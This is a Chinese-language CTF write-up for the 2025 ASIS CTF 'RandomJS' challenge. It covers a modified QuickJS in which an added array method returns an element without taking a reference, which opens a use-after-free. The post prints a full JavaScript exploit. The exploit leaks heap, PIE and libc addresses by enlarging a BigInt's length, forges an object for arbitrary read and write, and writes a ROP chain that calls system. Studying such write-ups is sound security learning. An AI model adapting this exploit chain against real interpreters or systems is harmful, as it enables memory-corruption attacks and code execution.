2025 ASIS CTF RandomJS wp

:)

漏洞

给array加了个方法,在array中任意选择一个obj返回,但没有增加refcount,可以uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static JSValue js_array_randompick(JSContext *ctx, JSValueConst this_val,
int argc, JSValueConst *argv)
{
JSValue obj, ret;
int64_t len, idx;
JSValue *arrp;
uint32_t count;

obj = JS_ToObject(ctx, this_val);
if (js_get_length64(ctx, &len, obj))
goto exception;

idx = rand() % len;

if (js_get_fast_array(ctx, obj, &arrp, &count) && idx < count) ret = (JSValue) arrp[idx];
else {
int present = JS_TryGetPropertyInt64(ctx, obj, idx, &ret);
if (present < 0)
goto exception;
if (!present)
ret = JS_UNDEFINED;
}
JS_FreeValue(ctx, obj);
return ret;
exception:
JS_FreeValue(ctx, obj);
return JS_EXCEPTION;
}

目标对象

js解释器的题可以通过这种👇方式进行任意读写。用ArrayBuffer->buf占位uaf obj,然后通过BigUint64Array等视图读写obj结构体,控制buf指向目标读写地址进行任意读写

但在这道题的情况下,需要先通过randompick方法free obj再分配给ArrayBuffer->buf,再分配的时候obj已经被清空了,无法leak地址

我最开始想通过普通的array来占位uaf obj,类似这样(用-1标记obj,7标记整数):

1
2
3
4
5
6
7
8
9
target = [{}, 0xdeadbeefn, {}]

// tele target
// +0x0 0xffffffffffffffff
// +0x8 0x55555564a890
// +0x10 0x7
// +0x18 0xdeadbeef
// +0x20 0xffffffffffffffff
// +0x28 0x55555564b560

但普通的array是用realloc申请空间的,不好占位……

后来通过discord的exp发现了这么一个结构体:

1
2
3
4
5
6
7
typedef struct JSBigInt {
JSRefCountHeader header; /* must come first, 32-bit */
uint32_t len; /* number of limbs, >= 1 */
js_limb_t tab[]; /* two's complement representation, always
normalized so that 'len' is the minimum
possible length >= 1 */
} JSBigInt;

在一个数字后标记n表示一个大整数,大于4字节的整数用这样一个结构体👆表示,quickjs的大整数是不限长度的,JSBigInt->len表示大整数的长度(单位bit),改大len就能越界读了;且整个结构体没有指针,非常完美~

Exp

选择JSBigInt作为uaf obj,改大len越界读写泄漏地址,然后再uaf一次伪造obj进行任意读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
const pad1 = "a", pad2 = "a", pad3 = "a", pad4 = "a"
const map = [0xffffffffffffffffn]

map.randompick()
map.randompick()
map.randompick()

let buf = new ArrayBuffer(0x10)
let array = new Uint32Array(buf)

array[0] = 2
array[1] = 0x100

heapbase = ((map[0] >> (35n * 0x40n)) & 0xffffffffffffffffn) - 0xcf2n
pie = ((map[0] >> (36n * 0x40n)) & 0xffffffffffffffffn) - 0xf2660n

console.log(heapbase.toString(16))
console.log(pie.toString(16))

for (let i = 0n; i < 0x100n; i++){
console.log(i, ((map[0]>>(i*0x40n)) & 0xffffffffffffffffn).toString(16))
}

let tmp1 = [{}, {}, {}]
let map1 = [{}]

map1.randompick()

tmp1[0] = null
tmp1[1] = null

let buf1 = new ArrayBuffer(0x48)
let array1 = new BigUint64Array(buf1)

array1[0] = 0x1d0d0000000002n
array1[3] = 0x7b00000000n
array1[4] = heapbase + 0x20000n
array1[7] = pie + 0xf4fc8n
array1[8] = 0x100n

let libcbase = map1[0][0] - 0x2a5b0n
let stack = map1[0][34]

console.log(libcbase.toString(16))
console.log(stack.toString(16))

array1[7] = heapbase + 0x20000n
map1[0][0] = 0x616c66646165722fn
map1[0][1] = 0x67n

array1[7] = stack - 0x498n

map1[0][0] = libcbase + 0x28882n
map1[0][1] = libcbase + 0x119fdcn
map1[0][2] = heapbase + 0x20000n
map1[0][3] = libcbase + 0x5c110n // puts: 0x8db68n, system: 0x5c110n

一点题外话

在discord找了个exp,有这么一段

1
2
3
4
5
6
7
8
9
10
11
arr = [0xfffffffffffffffffffn]
num = arr.randompick()
num2 = arr.randompick()
num3 = arr.randompick()
delete num
delete num3

heap_leak = (num2>>(5n*0x40n)) & 0xffffffffffffffffn
libc_leak = (num2>>(7n*0x40n)) & 0xffffffffffffffffn - 0x210c50n
console.log(heap_leak.toString(16))
console.log(libc_leak.toString(16))

但理论上来说delete只对对象属性起效,这么写应该会false才对

后来才注意到这个声明没用let,后来查到这种隐式声明相当于给全局对象增加一个属性,所以是有效的

1
2
num = 114514n
console.log(globalThis)
1
2
$ qjs tmp.js
{ console: { log: [Function] }, performance: { now: [Function] }, scriptArgs: [ "tmp.js" ], print: [Function print], num: 114514n }

虽然跟这道题没什么关系,樂

做这道题的时候重新想起了被v8支配的恐惧,这种js解释器的题最恶心的就是代码但凡有一点小变化整个堆布局大动……

后来发现可以随便塞点变量调堆,别管为什么有用就行(

1
const pad1 = "a", pad2 = "a", pad3 = "a", pad4 = "a"

2025 ASIS CTF RandomJS wp
http://akaieurus.github.io/2025/09/13/asis2025qjs/
作者
Eurus
发布于
2025年9月13日
许可协议